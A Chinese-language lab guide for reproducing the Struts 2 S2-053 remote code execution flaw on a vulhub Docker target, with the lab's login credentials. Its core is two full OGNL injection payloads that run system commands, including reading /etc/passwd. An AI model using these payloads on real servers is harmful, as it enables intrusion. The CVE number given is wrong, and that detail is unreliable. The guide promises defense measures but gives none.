通过本实验,掌握S2-053远程代码执行漏洞的攻击方法和防御措施。
·操作机:Win10用户名:Administrator密码:Sangfor!7890
·靶机:Ubuntu + docker用户名:root密码:Sangfor!7890
·实验地址:http://靶机ip:8080/hello.action
继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。影响版本:Struts 2.0.1、Struts 2.3.33、Struts 2.5 – Struts 2.5.10当开发者在Freemarker标签中使用如下代码时,Freemarker会将值当作表达式进行执行(Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成一个表达式,被OGNL解析第二次),最后导致远程代码执行。
1、登陆"S2-053"靶机,执行如下命令,进入目标环境所在目录
cd /vulhub-master
cd struts2
cd s2-053

docker-compose up -d

3、登录“Attack”操作机,打开浏览器,访问http://靶机ip:8080,看到页面正显示,说明靶机环境启动成功

第二步漏洞复现
4、通过“Attack”操作机的浏览器访问http://靶机ip:8080/hello.action,可以看到一个提交页面

5、在此页面下输入payload即可执行命令
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

通过本实验,成功实现了命令执行,通过该漏洞可以执行系统命令,加深对Struts2框架的利用和防御。